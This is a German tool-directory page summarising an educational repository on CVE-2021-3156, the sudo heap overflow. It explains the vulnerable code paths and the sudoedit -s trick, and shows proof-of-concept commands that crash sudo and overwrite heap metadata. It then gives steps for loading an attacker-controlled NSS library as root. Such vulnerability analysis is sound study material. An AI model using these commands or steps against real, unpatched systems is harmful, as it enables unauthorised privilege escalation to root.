Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2021-3156 — Implementierung und Analyse eines Exploits zu Bildungszwecken für CVE-2021-3156, einen Heap-basierten Pufferüberlauf in der set_cmnd()-Funktion von sudo, der durch manipulierte Befehlszeilenargumente eine Privilegieneskalation zu root ermöglicht. | Kitploit
Tools/GitHubGitHub/musergi/cve-2021-3156
Privilege EscalationSchwachstellenanalyseExploitationPapers & ForschungLernen & BildungBinary-Exploitation
GitHubmusergi/cve-2021-3156

CVE-2021-3156

Implementierung und Analyse eines Exploits zu Bildungszwecken für CVE-2021-3156, einen Heap-basierten Pufferüberlauf in der set_cmnd()-Funktion von sudo, der durch manipulierte Befehlszeilenargumente eine Privilegieneskalation zu root ermöglicht.

Repository anzeigen
2vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-3156

In diesem Dokument finden Sie alle notwendigen Kenntnisse, um den Code in diesem Repository und seine Funktionsweise zu verstehen. Die gesamte Erklärung basiert auf dem Bericht von QUALYS. Dort werden weitere Ausnutzungsformen erklärt.

Voraussetzungen

Die anfälligen Versionen von sudo sind die Legacy-Versionen 1.8.2 bis 1.8.31p2 sowie alle stabilen Versionen 1.9.0 bis 1.9.5p1 in ihrer Standardkonfiguration.

Dieses Repository wurde auf Ubuntu 20.04 (sudo 1.8.31) getestet. Darin öffnen wir ein Terminal mit Root-Rechten.

Analyse

Wird Sudo ausgeführt, um einen Befehl im Shell-Modus auszuführen:

  • Über die Option -s, die das MODE_SHELL-Flag von sudo setzt.
  • Über die Option -i, die die Flags MODE_SHELL und MODE_LOGIN_SHELL von sudo setzt.

Dann schreibt parse_args() zu Beginn von main() von sudo argv neu, indem alle Befehlszeilenargumente konkateniert und alle Metazeichen mit Backslashes escaped werden.

root@kitploit:~
    if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
        char **av, *cmnd = NULL;
        int ac = 1;

            cmnd = dst = reallocarray(NULL, cmnd_size, 2);

            for (av = argv; *av != NULL; av++) {
                for (src = *av; *src != '\0'; src++) {
                    /* quote potential meta characters */
                    if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
                        *dst++ = '\\';
                    *dst++ = *src;
                }
                *dst++ = ' ';
            }
...
            ac += 2; /* -c cmnd */
...
        av = reallocarray(NULL, ac + 1, sizeof(char *));
...
        av[0] = (char *)user_details.shell; /* plugin may override shell */
        if (cmnd != NULL) {
            av[1] = "-c";
            av[2] = cmnd;
        }
        av[ac] = NULL;

        argv = av;
        argc = ac;
    }

Später, in sudoers_policy_main(), konkateniert set_cmnd() die Befehlszeilenargumente in einen heap-basierten Puffer user_args und entfernt die Escapings der Metazeichen, "für sudoers-Matching- und -Logging-Zwecke":

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
             for (size = 0, av = NewArgv + 1; *av; av++)
                 size += strlen(*av) + 1;
             if (size == 0 || (user_args = malloc(size)) == NULL) {
...
             }
             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
                     while (*from) {
                         if (from[0] == '\\' && !isspace((unsigned char)from[1]))
                             from++;
                         *to++ = *from++;
                     }
                     *to++ = ' ';
                 }
...
             }
...
     }

Wenn ein Befehlszeilenargument mit einem einzelnen Backslash-Zeichen endet, dann:

  • from[0] ist das Backslash-Zeichen und from[1] der Nullterminator
  • from wird inkrementiert und zeigt auf den Nullterminator
  • Der Nullterminator wird in den user_args-Puffer kopiert und from erneut inkrementiert und zeigt außerhalb der Grenzen
  • Die while-Schleife liest und kopiert Zeichen außerhalb der Grenzen in den user_args-Puffer.

Mit anderen Worten, set_cmnd() ist anfällig für einen heap-basierten Pufferüberlauf, da die außerhalb der Grenzen liegenden Zeichen, die in den user_args-Puffer kopiert werden, nicht in dessen Größe eingerechnet wurden.

Theoretisch kann jedoch kein Befehlszeilenargument mit einem einzelnen Backslash-Zeichen enden: Wenn MODE_SHELL oder MODE_LOGIN_SHELL gesetzt ist (eine notwendige Bedingung, um den anfälligen Code zu erreichen), dann ist MODE_SHELL gesetzt und parse_args() hat bereits alle Metazeichen, einschließlich Backslashes, escaped (d.h., jeder einzelne Backslash wurde mit einem zweiten Backslash escaped).

In der Praxis jedoch sind der anfällige Code in set_cmnd() und der Escape-Code in parse_args() von leicht unterschiedlichen Bedingungen umgeben:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
            if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`

versus:

root@kitploit:~
    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {

Unsere Frage ist also: Können wir MODE_SHELL und entweder MODE_EDIT oder MODE_CHECK setzen (um den anfälligen Code zu erreichen), aber nicht das standardmäßige MODE_RUN (um den Escape-Code zu vermeiden)?

Die Antwort scheint nein zu sein: Wenn wir MODE_EDIT (-e-Option) oder MODE_CHECK (-l-Option) setzen, dann entfernt parse_args() MODE_SHELL aus den valid_flags und beendet mit einem Fehler, wenn wir ein ungültiges Flag wie MODE_SHELL angeben:

root@kitploit:~
                case 'e':
...
                    mode = MODE_EDIT;
                    sudo_settings[ARG_SUDOEDIT].value = "true";
                    valid_flags = MODE_NONINTERACTIVE;
                    break;
...
                case 'l':
...
                    mode = MODE_LIST;
                    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
                    break;
...
    if (argc > 0 && mode == MODE_LIST)
        mode = MODE_CHECK;
...
    if ((flags & valid_flags) != flags)
        usage(1);

Aber wir haben eine Gesetzeslücke gefunden: Wenn wir Sudo als sudoedit statt sudo ausführen, dann setzt parse_args() automatisch MODE_EDIT, setzt aber valid_flags nicht zurück, und die valid_flags enthalten standardmäßig MODE_SHELL:

root@kitploit:~
#define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
    int valid_flags = DEFAULT_VALID_FLAGS;
...
    proglen = strlen(progname);
    if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
        progname = "sudoedit";
        mode = MODE_EDIT;
        sudo_settings[ARG_SUDOEDIT].value = "true";
    }

Folglich setzen wir, wenn wir "sudoedit -s" ausführen, sowohl MODE_EDIT als auch MODE_SHELL (aber nicht MODE_RUN), vermeiden den Escape-Code, erreichen den anfälligen Code und überlaufen den heap-basierten Puffer user_args durch ein Befehlszeilenargument, das mit einem einzelnen Backslash-Zeichen endet:

root@kitploit:~
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)

Aus Sicht eines Angreifers ist dieser Pufferüberlauf ideal:

  • Wir kontrollieren die Größe des user_args-Puffers, den wir überlaufen lassen (die Größe unserer konkatenierten Befehlszeilenargumente);
  • Wir kontrollieren unabhängig die Größe und den Inhalt des Überlaufs selbst (unser letztes Befehlszeilenargument wird bequemerweise von unseren ersten Umgebungsvariablen gefolgt, die nicht in die Größenberechnung einbezogen werden);
  • Wir können sogar Nullbytes in den Puffer schreiben, den wir überlaufen lassen (jedes Befehlszeilenargument oder jede Umgebungsvariable, die mit einem einzelnen Backslash endet, schreibt ein Nullbyte in user_args).

Zum Beispiel allokiert der folgende Befehl unter amd64 Linux einen 24-Byte-user_args-Puffer (einen 32-Byte-Heap-Chunk) und überschreibt das size-Feld des nächsten Chunks mit "A=a\0B=b\0" (0x00623d4200613d41), das fd-Feld mit "C=c\0D=d\0" (0x00643d4400633d43) und das bk-Feld mit "E=e\0F=f\0" (0x00663d4600653d45):

root@kitploit:~
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
root@kitploit:~
--|--------+--------+--------+--------|--------+--------+--------+--------+--
  |        |        |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
              size  <---- user_args buffer ---->  size      fd       bk

Ausnutzung

root@kitploit:~
Program received signal SIGSEGV, Segmentation fault.

0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344

=> 0x7f6bf9c294ee <nss_load_library+46>:        cmpq   $0x0,0x8(%rbx)

rbx            0x41414141414141    18367622009667905

Die abstürzende Funktion ist nss_load_library() aus glibc (bei Zeile 344), weil der Zeiger library überschrieben wurde.

root@kitploit:~
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {

      ni->library = nss_new_service (service_table ?: &default_table,
                                     ni->name);

    }

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
                      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                                              "libnss_"),
                                    ni->name),
                          ".so"),
                __nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);

Die Schritte zur Ausnutzung dieses Absturzes sind die folgenden:

  • Überschreibe ni->library mit NULL. Dadurch wird der Code in die if-Klausel eintreten und mit dem Parsen und Laden der Bibliothek beginnen.
  • Überschreibe ni->name mit "X/X". Dies enthielt ursprünglich "systemd".
  • Daher werden die __strcpy-Zeilen "libnss_X/X.so.2" anstelle von "libnss_systemd.so.2" parsen.
  • Wir laden also die von uns kontrollierte shared library "libnss_X/X.so.2" als Root. Darin können wir alles tun, was wir als Root möchten.
Tool herunterladen